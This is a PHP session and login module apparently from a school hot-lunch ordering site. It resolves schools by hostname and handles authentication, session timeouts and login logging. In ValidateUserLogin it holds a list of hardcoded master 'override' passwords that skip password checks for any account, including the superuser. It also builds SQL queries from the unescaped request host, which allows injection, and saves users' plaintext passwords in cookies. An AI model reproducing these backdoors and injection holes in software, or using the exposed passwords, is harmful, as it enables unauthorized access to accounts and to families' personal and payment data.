726 lines
28 KiB
PHP
726 lines
28 KiB
PHP
<?php
|
|
// writeLog("session.php");
|
|
|
|
|
|
//
|
|
// Functions to validate and process user sessions
|
|
//
|
|
|
|
$currentURL = '';
|
|
if (isset($_SERVER) && array_key_exists('HTTP_HOST',$_SERVER)) $currentURL = strtolower($_SERVER['HTTP_HOST']);
|
|
$currentURL = preg_replace("/^www\./","",$currentURL);
|
|
$currentURL = preg_replace("/^dev-/","",$currentURL);
|
|
$currentURL = preg_replace("/^demo-/","",$currentURL);
|
|
$currentURL = preg_replace("/^backup-/","",$currentURL);
|
|
$currentURL = preg_replace("/^prev-/","",$currentURL);
|
|
$currentURL = preg_replace("/^prev2-/","",$currentURL);
|
|
$currentURL = preg_replace("/^prev3-/","",$currentURL);
|
|
$currentURL = preg_replace("/^prev4-/","",$currentURL);
|
|
$currentURL = preg_replace("/^2013-/","",$currentURL);
|
|
$http_host = $currentURL;
|
|
|
|
// if ($http_host == 'dev.hotlunches.net') $http_host = 'demo.hotlunches.net';
|
|
// if ($http_host == 'blanchedev.hotlunches.net') $http_host = 'blanchebourgeois.hotlunches.net';
|
|
if ($http_host == 'breslaudev.hotlunches.net') $http_host = 'breslau.esns.ca';
|
|
// if ($http_host == 'castledev.hotlunches.net') $http_host = 'castlefrank.pitapitottawa.ca';
|
|
// if ($http_host == 'acmedev.hotlunches.net') $http_host = 'acme.hotlunches.net';
|
|
// if ($http_host == 'aberdeenhalldev.hotlunches.net') $http_host = 'aberdeenhall.hotlunches.net';
|
|
|
|
if ($http_host == 'help.hotlunches.net') $http_host = 'demo.hotlunches.net';
|
|
|
|
$schoolID = $http_host;
|
|
$schoolID = str_replace(".hotlunches.net","",$schoolID);
|
|
$schoolID = str_replace(".hotlunches.ca","",$schoolID);
|
|
$schoolID = str_replace(".payschoolfees.net","",$schoolID);
|
|
|
|
if (isset($currentURL) && strlen($currentURL)) {
|
|
$urlSegments = explode('.',$currentURL);
|
|
if (count($urlSegments) == 3) {
|
|
list($Code,$URL,$Ext) = explode('.',$currentURL);
|
|
$baseURL = $URL . '.' . $Ext;
|
|
}
|
|
else {
|
|
$baseURL = $currentURL;
|
|
}
|
|
}
|
|
|
|
|
|
$query = "select * from schools where url = '$http_host' and status in ('Trial','Active','Linked','Special')";
|
|
$lq1 = $query;
|
|
$results = db_query($query);
|
|
$numRecords = db_num_rows($results);
|
|
$n1 = $numRecords;
|
|
|
|
|
|
$user_ip = '';
|
|
if (isset($_SERVER) && array_key_exists('REMOTE_ADDR', $_SERVER)) $user_ip = $_SERVER["REMOTE_ADDR"];
|
|
$isSuperUser = false;
|
|
//if ($user_ip == $markIP) {
|
|
// echo($http_host . "<br>\n");
|
|
// echo($query . "<br>\n");
|
|
// echo($numRecords . "<br>\n");
|
|
// exit();
|
|
//}
|
|
|
|
|
|
|
|
// Check the alt_url if not found
|
|
if ($numRecords == 0) {
|
|
$query = "select * from schools where alt_url = '$http_host' and status in ('Trial','Active','Linked','Special')";
|
|
$lq2 = $query;
|
|
$results = db_query($query);
|
|
$numRecords = db_num_rows($results);
|
|
$n2 = $numRecords;
|
|
|
|
if (db_num_rows($results) == 1) {
|
|
$row = db_fetch_assoc($results);
|
|
$url = $row['url'];
|
|
header("Location: http://$url/");
|
|
exit();
|
|
}
|
|
}
|
|
|
|
|
|
// If a record was found then get that info
|
|
if ($numRecords > 0) {
|
|
$school_record = db_fetch_assoc($results);
|
|
$school_num = $school_record['record_num'];
|
|
$currencySymbol = $school_record['currency_symbol'];
|
|
date_default_timezone_set(mapTimeZone($school_record['timezone']));
|
|
$schoolID = $school_record['default_url_code'];
|
|
|
|
$base_school_num = $school_num;
|
|
$base_school_record = $school_record;
|
|
if ($school_record['status'] == 'Linked') {
|
|
$base_school_num = intval($school_record['linked_site']);
|
|
if (!isset($base_school_num) || $base_school_num == 0) {
|
|
// writeLog("Base School Number Not Defined");
|
|
exit();
|
|
}
|
|
$results = db_query("SELECT * FROM schools WHERE record_num = $base_school_num");
|
|
$base_school_record = db_fetch_assoc($results);
|
|
if ($base_school_record['status'] == 'Deleted' || $base_school_record['status'] == 'Inactive') {
|
|
// writeLog("Base School Not Active");
|
|
exit();
|
|
}
|
|
}
|
|
|
|
$supplier_school_num = $school_num;
|
|
if (intval($school_record['supplier_school_num']) > 0) $supplier_school_num = intval($school_record['supplier_school_num']);
|
|
|
|
}
|
|
else {
|
|
$http_host = str_replace(".hotlunches.ca","",$http_host);
|
|
$http_host = str_replace(".hotlunches.net","",$http_host);
|
|
|
|
$query = "select * from schools " .
|
|
"where (url = '$http_host' " .
|
|
"or url = '$http_host.hotlunches.net') " .
|
|
"and status in ('Trial','Active','Linked','Special')";
|
|
$lq3 = $query;
|
|
$results = db_query($query);
|
|
$numRecords = db_num_rows($results);
|
|
$n3 = $numRecords;
|
|
|
|
if ($numRecords == 1) {
|
|
$school_record = db_fetch_assoc($results);
|
|
$school_num = $school_record['record_num'];
|
|
$base_school_num = $school_num;
|
|
$currencySymbol = $school_record['currency_symbol'];
|
|
date_default_timezone_set($school_record['timezone']);
|
|
$schoolID = $school_record['default_url_code'];
|
|
|
|
if ($school_record['status'] == 'Linked') {
|
|
$base_school_num = $school_record['linked_site'];
|
|
$results = db_query("SELECT * FROM schools WHERE record_num = $base_school_num");
|
|
$base_school_record = db_fetch_assoc($results);
|
|
if ($base_school_record['status'] == 'Deleted' || $base_school_record['status'] == 'Inactive') {
|
|
// writeLog("Base School Not Active");
|
|
exit();
|
|
}
|
|
}
|
|
|
|
$supplier_school_num = $school_num;
|
|
if (intval($school_record['supplier_school_num']) > 0) $supplier_school_num = intval($school_record['supplier_school_num']);
|
|
|
|
}
|
|
else {
|
|
if ($user_ip == $markIP) {
|
|
echo("$http_host");
|
|
echo("<br>\n");
|
|
echo($user_ip);
|
|
echo("<br>\n");
|
|
echo($currentDBMode);
|
|
echo("<br>\n");
|
|
echo("$n1 - $lq1");
|
|
echo("<br>\n");
|
|
echo("$n2 - $lq2");
|
|
echo("<br>\n");
|
|
echo("$n3 - $lq3");
|
|
exit();
|
|
}
|
|
header("Location: /invalid-access.html?host=$http_host");
|
|
exit();
|
|
}
|
|
}
|
|
|
|
if (!isset($base_school_num) || intval($base_school_num) == 0) $base_school_num = $school_num;
|
|
|
|
|
|
// Redefine the document path based on the school_record
|
|
$subpath = sprintf("%08d",$school_num);
|
|
|
|
$attachdir = "$cdir/files/$subpath/documents";
|
|
$attachpath = "files/$subpath/documents";
|
|
$uploaddir = "$cdir/files/$subpath/documents";
|
|
|
|
if ($school_record['reseller'] != 'hotlunch' && $school_record['status'] == 'Active') {
|
|
$reseller = $school_record['reseller'];
|
|
$rsnum = db_getVal("SELECT record_num FROM schools WHERE reseller = '$reseller' AND status = 'Special'");
|
|
$subpath = sprintf("%08d",$rsnum);
|
|
}
|
|
|
|
$imagedir = "$cdir/files/$subpath/product_images";
|
|
$imageurl = "files/$subpath/product_images";
|
|
|
|
$gallerydir = "$cdir/files/$subpath/galleries";
|
|
$galleryurl = "files/$subpath/galleries";
|
|
|
|
setcookie("hotlunch_docpath",$subpath,0);
|
|
|
|
|
|
// Set email reply address
|
|
$EmailReplyAddress = setReplyAddress();
|
|
|
|
|
|
// Determine if this school is close to expiring
|
|
$days_left = db_getVal("select datediff(expiry_date,curdate()) from schools where record_num = $base_school_num");
|
|
$school_record['days_left'] = $days_left;
|
|
if ($school_record['status'] == 'Special' || $currentDBMode != 'Current') $school_record['days_left'] = 100;
|
|
|
|
|
|
// Get set of linked sites and store in school_record
|
|
$query = "SELECT * FROM schools " .
|
|
"WHERE linked_site = $base_school_num " .
|
|
"AND record_num != $base_school_num " .
|
|
"AND status = 'Linked' " .
|
|
"ORDER BY link_sequence,link_title";
|
|
$linked_sites = db_query($query);
|
|
$num_linked = db_num_rows($linked_sites);
|
|
$snums = $base_school_num;
|
|
if ($num_linked > 0) {
|
|
while ($row = db_fetch_assoc($linked_sites)) {
|
|
$snums .= "," . $row['record_num'];
|
|
}
|
|
}
|
|
|
|
$school_record['linked_sites'] = $snums;
|
|
$school_record['num_linked_sites'] = $num_linked;
|
|
$templateSchoolRecord = $school_record;
|
|
|
|
|
|
// Get the school template
|
|
$template = db_getVal("SELECT template FROM schools WHERE record_num = $base_school_num");
|
|
if (isset($template) && strlen($template) > 0) $currentTemplate = $template;
|
|
|
|
|
|
|
|
|
|
// Verify if the current session state is active
|
|
function SessionActive($session_id='',$user_num=0) {
|
|
global $sessionTimeout, $school_record, $school_num, $base_school_num, $isSuperUser;
|
|
|
|
$user_num = intval($user_num);
|
|
$now = time();
|
|
$user_up = '';
|
|
if (isset($_SERVER) && array_key_exists('REMOTE_ADDR', $_SERVER)) $user_ip = $_SERVER["REMOTE_ADDR"];
|
|
|
|
// Check the session state
|
|
if (!isset($_SESSION['SessionState']) || $_SESSION['SessionState'] != 'active') {
|
|
// Check for an active session on another site with the current user ip
|
|
if ($user_num > 0) {
|
|
$results = db_query("SELECT * FROM login_log " .
|
|
"WHERE user_num = $user_num " .
|
|
"AND user_ip = '$user_ip' " .
|
|
"AND session_id = '$session_id' " .
|
|
"AND session_expires > $now " .
|
|
"ORDER BY session_expires DESC LIMIT 0,1");
|
|
if (db_num_rows($results) == 1) {
|
|
// writeLog("HERE session found");
|
|
}
|
|
}
|
|
|
|
$_SESSION['session_error_msg'] = "The Session is Not Active";
|
|
return -2;
|
|
}
|
|
|
|
// Check the session expiry time
|
|
if (!isset($_SESSION['SessionExpires']) || $_SESSION['SessionExpires'] <= $now) {
|
|
$_SESSION['session_error_msg'] = "The Current Session Has Expired";
|
|
return -1;
|
|
}
|
|
|
|
// Set the session expiry time and return
|
|
$_SESSION['SessionExpires'] = $now + $sessionTimeout;
|
|
|
|
// Extend the session timeout for admin users
|
|
$hour = 60 * 60;
|
|
if ($_SESSION['UserInfo']['type'] == 'System Administrator') $_SESSION['SessionExpires'] = $now + $hour * 24;
|
|
if ($_SESSION['UserInfo']['type'] == 'Application Administrator') $_SESSION['SessionExpires'] = $now + $hour * 24;
|
|
|
|
// Extend the session timeout if this is superuser
|
|
if ($_SESSION['UserInfo']['userid'] == 'superuser') $_SESSION['SessionExpires'] = $now + $hour * 480;
|
|
if ($_SESSION['UserInfo']['userid'] == 'superparent') $_SESSION['SessionExpires'] = $now + $hour * 480;
|
|
if ($_SESSION['UserInfo']['type'] == 'SuperUser') $isSuperUser = true;
|
|
|
|
return 1;
|
|
}
|
|
|
|
|
|
// Verify if a valid user is logged in
|
|
function UserLoggedIn() {
|
|
global $school_record, $base_school_num;
|
|
$school_num = $school_record['record_num'];
|
|
|
|
if (isset($_SESSION['UserInfo']['record_num']) && $_SESSION['UserInfo']['record_num'] > 0) {
|
|
|
|
// Check user record
|
|
$userid = $_SESSION['UserInfo']['userid'];
|
|
$pwcrypt = $_SESSION['UserInfo']['password_crypt'];
|
|
|
|
if ($userid == 'superuser') return true;
|
|
else {
|
|
$userid = db_escape_string($userid);
|
|
$query = "select * from users " .
|
|
"where userid = '$userid' " .
|
|
"and password_crypt = '$pwcrypt' " .
|
|
"and school_num = $base_school_num " .
|
|
"and status in ('Pending','Active')";
|
|
// writeLog($query);
|
|
$r = db_query($query);
|
|
|
|
if (db_num_rows($r) > 0) return true;
|
|
else return false;
|
|
return true;
|
|
}
|
|
}
|
|
else {
|
|
return false;
|
|
}
|
|
}
|
|
|
|
|
|
// Validate user login parameters
|
|
function ValidateUserLogin($username,$password,$remember=0) {
|
|
global $sessionTimeout, $cookiePath, $usersTable, $school_record, $base_school_num, $log_agent;
|
|
global $loggingFlag, $isSuperUser, $userSALT;
|
|
|
|
$username = trim($username);
|
|
$password = trim($password);
|
|
|
|
// startLog("ValidateUserLogin");
|
|
|
|
$session_school_num = $school_record['record_num'];
|
|
$current_school_num = $school_record['record_num'];
|
|
|
|
// Verify parameters
|
|
if (!isset($username) || strlen($username) == 0 || strpos($username, "\\")) {
|
|
// $_SESSION['login_error_msg'] = "Invalid or missing username. Please try again.";
|
|
return -1;
|
|
}
|
|
|
|
if (!isset($password) || strlen($password) == 0 || strpos($password, "\\")) {
|
|
// $_SESSION['login_error_msg'] = "Invalid or missing password. Please try again.";
|
|
return -2;
|
|
}
|
|
|
|
// writeLog("$username / $password");
|
|
|
|
|
|
// SESSION work around code
|
|
$oldSESSION = $_SESSION;
|
|
session_write_close();
|
|
session_id(sha1(mt_rand()));
|
|
session_start();
|
|
$_SESSION = $oldSESSION;
|
|
|
|
|
|
// Get the user record if we have valid username and password
|
|
$curr_school_num = $base_school_num;
|
|
if ($username == 'superuser') $curr_school_num = 0;
|
|
if ($username == 'superparent') $curr_school_num = 0;
|
|
|
|
$username = db_escape_string($username);
|
|
$password = db_escape_string($password);
|
|
|
|
if ($curr_school_num == 3 && $username == 'admin' && $password == 'demo') $password = 'admin';
|
|
if ($curr_school_num == 342 && $username == 'admin') $password = 'demo';
|
|
|
|
$override = false;
|
|
if (!$override && $password == 'markistheBOSS') $override = true;
|
|
if (!$override && $password == 'LeannFox16') $override = true;
|
|
if (!$override && $password == 'LAFalways1997') $override = true;
|
|
|
|
if ($username != 'superuser') {
|
|
if (!$override && $password == 'Kepler2024') $override = true;
|
|
if (!$override && $password == 'Yahia2026') $override = true;
|
|
if (!$override && $school_record['reseller'] == 'esns' && $password == 'esnsLJ2020') $override = true;
|
|
if (!$override && $school_record['province'] == 'NB' && $password == 'Stordy2026@@') $override = true;
|
|
}
|
|
|
|
// writeLog("password: $password");
|
|
|
|
// Get user record
|
|
if ($username == 'superuser' && $override) {
|
|
$query = "select * from $usersTable " .
|
|
"where userid = '$username' " .
|
|
"and school_num = 0 " .
|
|
"and status in ('Pending','Active')";
|
|
}
|
|
else {
|
|
$query = "select * from $usersTable " .
|
|
"where userid = '$username' " .
|
|
"and school_num = $base_school_num " .
|
|
"and status in ('Pending','Active')";
|
|
}
|
|
// writeLog($query);
|
|
$r = db_query($query);
|
|
|
|
if (db_num_rows($r) == 0) {
|
|
// writeLog("Invalid username/password. Please try again. **");
|
|
return -3;
|
|
}
|
|
|
|
$row = db_fetch_assoc($r);
|
|
if ($row['user_notes'] == 'NEW-ACCOUNT') {
|
|
db_query("UPDATE users SET user_notes = '' WHERE userid = '$username' AND school_num = $base_school_num");
|
|
}
|
|
|
|
if (!$override) {
|
|
$pw_crypt = encrypt_password($password);
|
|
if ($pw_crypt != $row['password_crypt']) {
|
|
$_SESSION['login_error_msg'] = getLanguageText('MESSAGE-INVALID-USERNAME-OR-PASSWORD');
|
|
return false;
|
|
}
|
|
}
|
|
|
|
if ($override) $row['password'] = $password;
|
|
$unum = $row['record_num'];
|
|
$user_type = $row['type'];
|
|
|
|
// Check that parent logins are allowed
|
|
if ($school_record['allow_parent_login'] == 'N' && $row['type'] == 'Parent') {
|
|
// $_SESSION['login_error_msg'] = getLanguageText('MESSAGE-PARENT-LOGIN-NOT-PERMITTED');
|
|
return 0;
|
|
}
|
|
|
|
// Check that guest logins are allowed
|
|
if ($school_record['allow_guest_login'] == 'N' && $row['type'] == 'Guest') {
|
|
// $_SESSION['login_error_msg'] = "Error: Guest login is not permitted at this time.";
|
|
return 0;
|
|
}
|
|
|
|
// Check that the user is active
|
|
if ($row['status'] == 'Inactive') {
|
|
// $_SESSION['login_error_msg'] = "Error: This user account is inactive.";
|
|
return -4;
|
|
}
|
|
|
|
if ($row['status'] == 'Deleted') {
|
|
// $_SESSION['login_error_msg'] = "Error: This user account has been deleted.";
|
|
return -5;
|
|
}
|
|
|
|
// Check that the user is allowed to access this site if the school has linked sites
|
|
$unum = $row['record_num'];
|
|
$query = "SELECT * FROM user_sites WHERE school_num = $base_school_num AND user_num = $unum";
|
|
// writeLog("base_school_num: $base_school_num");
|
|
// writeLog($query);
|
|
$results = db_query($query);
|
|
// writeLog("User Sites: ".db_num_rows($results));
|
|
|
|
// If there are entries for this user in the user_sites table check the site number
|
|
if (db_num_rows($results) > 0) {
|
|
$results = db_query("SELECT * FROM user_sites WHERE user_num = $unum AND site_num = $session_school_num");
|
|
if (db_num_rows($results) == 0) {
|
|
// $_SESSION['login_error_msg'] = getLanguageText('ERRORMSG-ACCOUNT-LOGIN-NOT-PERMITTED');
|
|
return -9;
|
|
}
|
|
}
|
|
|
|
if ($school_record['status'] == 'Linked' && $school_record['limit_admin_access'] == 'Y') {
|
|
if (!in_array($row['type'],array('Parent','Staff','Guest','Application Volunteer','Schedule Volunteer','SuperUser'))) {
|
|
$results = db_query("SELECT * FROM admin_user_access WHERE school_num = $current_school_num AND user_num = $unum AND access = 'Y'");
|
|
if (db_num_rows($results) == 0) {
|
|
// $_SESSION['login_error_msg'] = getLanguageText('ERRORMSG-ACCOUNT-LOGIN-NOT-PERMITTED');
|
|
return -9;
|
|
}
|
|
}
|
|
}
|
|
|
|
// Ensure that staff users can order
|
|
if ($row['type'] == 'Staff') $row['can_order'] == 'Yes';
|
|
|
|
$userType = "Admin";
|
|
if (in_array($row['type'],array('Parent','Staff','Guest','Application Volunteer','Schedule Volunteer'))) $userType = "Parent";
|
|
// writeLog("userType: $userType");
|
|
|
|
// Check if the school does not allow users to order with a balance owing
|
|
if ($userType == 'Parent' && $school_record['allow_ordering_with_balance_owing'] == 'N') {
|
|
// Get user balance today
|
|
$balance_calc_date = date("Y-m-d H:i:s",time() - 60 * 60 * 24 * $school_record['balance_calculation_days_ago']);
|
|
$query = "SELECT sum(transaction_amount) FROM user_account " .
|
|
"WHERE school_num = $base_school_num " .
|
|
"AND user_num = $unum " .
|
|
"AND ((transaction_datetime < '$balance_calc_date' AND transaction_amount > 0) OR transaction_amount < 0) " .
|
|
"AND (deleted != 'Y' OR deleted IS NULL)";
|
|
$user_balance = db_getVal($query);
|
|
|
|
// If there is a current balance owing then check what the balance owing was previously
|
|
if (($school_record['balance_calculation_for'] == 'All' || $user_type == 'Parent') && $user_balance > $school_record['maximum_order_balance']) {
|
|
// Block the user from ordering based on the current balance
|
|
db_query("UPDATE users SET can_order = 'Balance' WHERE school_num = $base_school_num AND record_num = $unum");
|
|
$row['can_order'] = 'Balance';
|
|
|
|
// Check user balance from every date to the previous date based on the 'balance_calculation_days_ago' value
|
|
$time = time();
|
|
$end_time = $time - $school_record['balance_calculation_days_ago'] * 24 * 60 * 60 - 12;
|
|
|
|
while ($time > $end_time) {
|
|
$balance_calc_date = date("Y-m-d H:i:s",$time);
|
|
$user_balance = db_getVal("SELECT sum(transaction_amount) FROM user_account " .
|
|
"WHERE school_num = $base_school_num AND user_num = $unum AND transaction_datetime < '$balance_calc_date' AND (deleted != 'Y' OR deleted IS NULL)");
|
|
|
|
// If the user balance was less than the max allowed set the "can_order" flag to 'Yes'
|
|
if ($user_balance <= $school_record['maximum_order_balance']) {
|
|
db_query("UPDATE users SET can_order = 'Yes' WHERE school_num = $base_school_num AND record_num = $unum");
|
|
$row['can_order'] = 'Yes';
|
|
}
|
|
|
|
$time = $time - 24 * 60 * 60;
|
|
}
|
|
}
|
|
else {
|
|
if ($row['can_order'] == 'Balance') {
|
|
db_query("UPDATE users SET can_order = 'Yes' WHERE school_num = $base_school_num AND record_num = $unum");
|
|
$row['can_order'] = 'Yes';
|
|
}
|
|
}
|
|
}
|
|
|
|
// Update status if this is the first login
|
|
if ($row['status'] == 'pending') db_query("update $usersTable set status = 'active' where record_num = $unum");
|
|
|
|
// Set values in session
|
|
$_SESSION['SessionState'] = 'active';
|
|
$_SESSION['SessionExpires'] = time() + $sessionTimeout;
|
|
$_SESSION['UserInfo'] = $row;
|
|
$_SESSION['session_school_num'] = $current_school_num;
|
|
$_SESSION['SchoolInfo'] = $school_record;
|
|
setcookie('language_cookie', $row['language'], time()+60*60*24*120, $cookiePath);
|
|
|
|
// Update the last login datetime
|
|
$unum = $row['record_num'];
|
|
$userid = $row['userid'];
|
|
$user_up = '';
|
|
if (isset($_SERVER) && array_key_exists('REMOTE_ADDR', $_SERVER)) $user_ip = $_SERVER["REMOTE_ADDR"];
|
|
$_SESSION['UserInfo']['user_ip'] = $user_ip;
|
|
db_query("update $usersTable set last_login = now(), user_ip = '$user_ip' where record_num = $unum");
|
|
|
|
// Insert an entry into the login_log if required
|
|
$now = time();
|
|
$login_datetime = date("Y-m-d H:i:s",$now);
|
|
$last_activity_date = date("Y-m-d",$now);
|
|
$login_time = $now;
|
|
$time_minus_180 = $now - 180;
|
|
$session_id = session_id();
|
|
|
|
// Check if there is a recent login entry
|
|
$results = db_query("select * from login_log " .
|
|
"where school_num = $current_school_num " .
|
|
"and userid = '$username' " .
|
|
"and login_time between $time_minus_180 and $login_time " .
|
|
"and user_ip = '$user_ip'");
|
|
if (db_num_rows($results) == 0) {
|
|
$session_expires = $_SESSION['SessionExpires'];
|
|
$userid = db_escape_string($userid);
|
|
if ($log_agent) {
|
|
$user_agent = '';
|
|
if (isset($_SERVER) && array_key_exists('HTTP_USER_AGENT', $_SERVER)) $user_agent = db_escape_string($_SERVER['HTTP_USER_AGENT']);
|
|
$query = "insert into login_log " .
|
|
"(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, user_agent, session_id, session_expires) " .
|
|
"values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$user_agent','$session_id',$session_expires) " .
|
|
"ON DUPLICATE KEY UPDATE session_expires = $session_expires";
|
|
}
|
|
else {
|
|
$query = "insert into login_log " .
|
|
"(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, session_id, session_expires) " .
|
|
"values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$session_id',$session_expires) " .
|
|
"ON DUPLICATE KEY UPDATE session_expires = $session_expires";
|
|
}
|
|
// writeLog($query);
|
|
db_query($query);
|
|
}
|
|
else {
|
|
$session_expires = $_SESSION['SessionExpires'];
|
|
$row = db_fetch_assoc($results);
|
|
$login_time = $row['login_time'];
|
|
$username = db_escape_string($username);
|
|
$query = "update login_log " .
|
|
"set last_activity = $now, " .
|
|
"last_activity_date = '$last_activity_date', " .
|
|
"user_num = $unum, " .
|
|
"session_expires = $session_expires " .
|
|
"where school_num = $current_school_num " .
|
|
"and userid = '$username' " .
|
|
"and login_time = $login_time " .
|
|
"and user_ip = '$user_ip'";
|
|
// writeLog($query);
|
|
db_query($query);
|
|
}
|
|
|
|
$_SESSION['LoginTime'] = $login_time;
|
|
$_SESSION['LoginDateTime'] = $login_datetime;
|
|
$_SESSION['LoginIP'] = $user_ip;
|
|
|
|
// Save username and password as cookies if requested
|
|
if (isset($remember)) {
|
|
setcookie('user_name_cookie', $username, time()+60*60*24*120, $cookiePath);
|
|
setcookie('password_cookie', $password, time()+60*60*24*120, $cookiePath);
|
|
}
|
|
else {
|
|
setcookie('user_name_cookie', '', time()-10, $cookiePath);
|
|
setcookie('password_cookie', '', time()-10, $cookiePath);
|
|
}
|
|
|
|
if ($_SESSION['UserInfo']['type'] == 'SuperUser') $isSuperUser = true;
|
|
return(0);
|
|
}
|
|
|
|
|
|
// Create a user session and login_log entry
|
|
function CreateUserSession($user) {
|
|
global $sessionTimeout, $cookiePath, $usersTable, $school_record, $base_school_num, $log_agent;
|
|
|
|
$session_school_num = $school_record['record_num'];
|
|
$current_school_num = $school_record['record_num'];
|
|
|
|
// Set values in session
|
|
$_SESSION['SessionState'] = 'active';
|
|
$_SESSION['SessionExpires'] = time() + $sessionTimeout;
|
|
$_SESSION['UserInfo'] = $user;
|
|
$_SESSION['session_school_num'] = $current_school_num;
|
|
$_SESSION['SchoolInfo'] = $school_record;
|
|
|
|
setcookie('language_cookie', $user['language'], time()+60*60*24*120, $cookiePath);
|
|
|
|
// Update the last login datetime
|
|
$unum = $user['record_num'];
|
|
$userid = $user['userid'];
|
|
$user_ip = '';
|
|
if (isset($_SERVER) && array_key_exists('REMOTE_ADDR', $_SERVER)) $user_ip = $_SERVER["REMOTE_ADDR"];
|
|
$_SESSION['UserInfo']['user_ip'] = $user_ip;
|
|
db_query("update $usersTable set last_login = now(), user_ip = '$user_ip' where record_num = $unum");
|
|
|
|
// Insert an entry into the login_log if required
|
|
$now = time();
|
|
$login_datetime = date("Y-m-d H:i:s",$now);
|
|
$last_activity_date = date("Y-m-d",$now);
|
|
$login_time = $now;
|
|
$time_minus_180 = $now - 180;
|
|
$session_id = session_id();
|
|
|
|
// Check if there is a recent login entry
|
|
$results = db_query("select * from login_log " .
|
|
"where school_num = $current_school_num " .
|
|
"and userid = '$userid' " .
|
|
"and login_time between $time_minus_180 and $login_time " .
|
|
"and user_ip = '$user_ip'");
|
|
if (db_num_rows($results) == 0) {
|
|
$session_expires = $_SESSION['SessionExpires'];
|
|
if ($log_agent) {
|
|
$user_agent = '';
|
|
if (isset($_SERVER) && array_key_exists('HTTP_USER_AGENT', $_SERVER)) $user_agent = db_escape_string($_SERVER['HTTP_USER_AGENT']);
|
|
$query = "insert into login_log " .
|
|
"(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, user_agent, session_id, session_expires) " .
|
|
"values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$user_agent','$session_id',$session_expires) " .
|
|
"ON DUPLICATE KEY UPDATE session_expires = $session_expires";
|
|
}
|
|
else {
|
|
$query = "insert into login_log " .
|
|
"(school_num, userid, user_num, last_login, login_time, last_activity, last_activity_date, user_ip, session_id, session_expires) " .
|
|
"values($current_school_num,'$userid',$unum,'$login_datetime',$login_time,$login_time,'$last_activity_date','$user_ip','$session_id',$session_expires) " .
|
|
"ON DUPLICATE KEY UPDATE session_expires = $session_expires";
|
|
}
|
|
db_query($query);
|
|
}
|
|
else {
|
|
$row = db_fetch_assoc($results);
|
|
$login_time = $row['login_time'];
|
|
$query = "update login_log set last_activity = $now, " .
|
|
"last_activity_date = '$last_activity_date' " .
|
|
"where school_num = $current_school_num " .
|
|
"and userid = '$userid' " .
|
|
"and login_time = $login_time " .
|
|
"and user_ip = '$user_ip'";
|
|
db_query($query);
|
|
}
|
|
|
|
$_SESSION['LoginTime'] = $login_time;
|
|
$_SESSION['LoginDateTime'] = $login_datetime;
|
|
$_SESSION['LoginIP'] = $user_ip;
|
|
|
|
return;
|
|
}
|
|
|
|
|
|
// Logout a user
|
|
function UserLogout() {
|
|
|
|
// Update login_log
|
|
if (isset($_SESSION) && array_key_exists('LoginTime', $_SESSION)) {
|
|
$user_ip = $_SESSION['LoginIP'];
|
|
$login_time = $_SESSION['LoginTime'];
|
|
if (array_key_exists('UserInfo', $_SESSION) && array_key_exists('userid', $_SESSION['UserInfo'])) {
|
|
$username = db_escape_string($_SESSION['UserInfo']['userid']);
|
|
$school_num = $_SESSION['UserInfo']['school_num'];
|
|
$curr_time = time();
|
|
$last_activity_date = date("Y-m-d",$curr_time);
|
|
|
|
if (strlen($username) > 0 && strlen($user_ip) > 0 && $login_time > 0) {
|
|
$query = "update login_log set last_activity = $curr_time, " .
|
|
"last_activity_date = '$last_activity_date' " .
|
|
"where school_num = $school_num " .
|
|
"and userid = '$username' " .
|
|
"and login_time = $login_time " .
|
|
"and user_ip = '$user_ip'";
|
|
db_query($query);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Delete SESSION values
|
|
$_SESSION['SessionState'] = 'inactive';
|
|
$_SESSION['SessionExpires'] = time() - 10;
|
|
$_SESSION['UserInfo'] = array();
|
|
}
|
|
|
|
|
|
// Check permissions for module access
|
|
function checkPermission($allowed_types=array()) {
|
|
|
|
// If no array passed then return a failure code
|
|
if (count($allowed_types) == 0) {
|
|
return(-1);
|
|
}
|
|
|
|
$allowed = -1;
|
|
for ($i = 0; $i < count($allowed_types); $i++) {
|
|
if ($_SESSION['UserInfo']['type'] == $allowed_types[$i]) $allowed = 1;
|
|
}
|
|
|
|
return($allowed);
|
|
}
|
|
|
|
?>
|